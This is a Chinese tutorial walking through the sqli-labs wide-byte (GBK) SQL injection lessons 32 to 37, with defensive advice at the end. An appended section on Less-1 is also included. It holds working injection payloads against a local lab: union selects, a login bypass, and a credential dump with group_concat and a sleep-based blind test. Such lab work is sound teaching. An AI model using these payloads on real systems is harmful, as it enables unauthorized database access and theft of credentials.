sqli-labs-less-32~37

我们先介绍下宽字节注入
原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思
路是将 ‘ 转换为 \’

Less-32

http://127.0.0.1/sqli-labs-master/Less-32/?id=1'

在这里插入图片描述
会发现对\进行了过滤

http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df'union select 1,user(),3--+

在这里插入图片描述
%df 吃掉 \ 具体的原因是 urlencode(‘) = %5c%27,我们在%5c%27 前面添加%df,形
成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此
事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。

部分源码
在这里插入图片描述

Less-33

从源码中我们可以看到,使用了addslashes()函数,其功能就是返回在预定义字符之前添加反斜杠的字符串
预定义字符是:
 单引号(’)
 双引号(")
 反斜杠(\)
在这里插入图片描述
该函数功能与less-32中实现的功能基本一致,参考less-32

Less-34

这一关是POST型的注入,将UTF-8转换为UTF-16或者UTF-32,例如将’转换为utf-16为: �’。我们可以利用这一点注入。

username: �'or 1=1#

passwor:随意

在这里插入图片描述
观察源码

@$sql="SELECT username, password FROM users WHERE username='$uname'
and password='$passwd' LIMIT 0,1";

构造后

SELECT username, password FROM users WHERE username='� ' or 1=1#' and
password='$passwd' LIMIT 0,1

less-35

直接注入

http://127.0.0.1/sqli-labs-master/Less-35/?id=-1%20union%20select%201,user(),3--+

在这里插入图片描述

less-36

查看源码我们可以知道

check_quotes()函数是利用了 mysql_real_escape_string()函数进行的过滤

过滤的字符有:

\x00     \n     \r    \     '     ''      \x1a

我们开始注入

 http://127.0.0.1/sqli-labs-master/Less-36/?id=-1%BD%27union%20select%201,user(),3--+

在这里插入图片描述

Less-37

与34题注入方法一样

总结

过滤 ‘ \ 常用的三种方式是直接 replace,
addslashes(),mysql_real_escape_string()。三种方式仅仅依靠一个函数是不能完全防御的,所以我们在编写代码的时候需要考虑的更加仔细。下面给出几种防御的方式
1、在使用 mysql_real_escape_string()时,如何能够安全的防护这种问题,需要将 mysql 设置为gbk 即可。设置代码:Mysql_set_charset(‘gbk’,’$conn’)
2、使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞。

 Mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);
### SQL注入漏洞的基本原理 SQL注入是一种常见的Web安全漏洞,攻击者通过在输入字段中插入恶意的SQL代码,从而操控后端数据库。这种攻击可以导致数据泄露、数据篡改,甚至完全控制数据库服务器。SQL注入通常发生在应用程序没有正确过滤用户输入的情况下。 ### Less-1 漏洞利用教程 Less-1 是 `sqli-labs-master` 项目中的第一个实验环境,旨在帮助学习者理解和练习SQL注入技术。该实验环境模拟了一个存在SQL注入漏洞的Web应用。 #### 判断注入类型 首先需要确定目标是否存在SQL注入漏洞,并识别其类型(字符型或数字型)。对于Less-1,可以通过尝试添加单引号 (`'`) 到URL参数来触发错误消息,进而判断注入点的存在[^4]。 #### 获取数据库信息 一旦确认存在注入点,下一步是获取数据库的信息,如数据库名称、表名和列名等。这可以通过使用`UNION SELECT`语句结合`group_concat()`函数来实现。例如,通过访问以下链接可以获取用户名和密码: ``` http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1'union select 1,2,group_concat(concat_ws('~~',username,password)) from security.users --+ ``` 此请求将返回一个包含所有用户名和密码的字符串,用以展示如何从数据库中提取敏感信息[^3]。 #### 使用布尔盲注 如果直接查询无法获得预期结果,可以采用布尔盲注技术。这种方法依赖于根据查询是否为真来推断数据库的信息。例如,通过发送如下请求来估计当前数据库名称的长度: ``` http://127.0.0.1/sqli-labs-master/Less-9/?id=1' AND IF(LENGTH(database())<10,sleep(1),1) -- a ``` 这里使用了`IF`条件语句配合`SLEEP()`函数,当条件满足时会使服务器延迟响应,以此判断条件真假[^1]。 #### 导入数据库 为了更好地理解和实践这些实验,可能还需要导入预先准备好的数据库结构。可以通过MySQL客户端工具执行SQL文件来完成这一操作: ```bash mysql -u root -p < Less-1/sqlmapless1.sql ``` 这条命令会提示输入密码,之后将指定的SQL文件导入到MySQL数据库中,设置好实验所需的环境[^2]。 ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值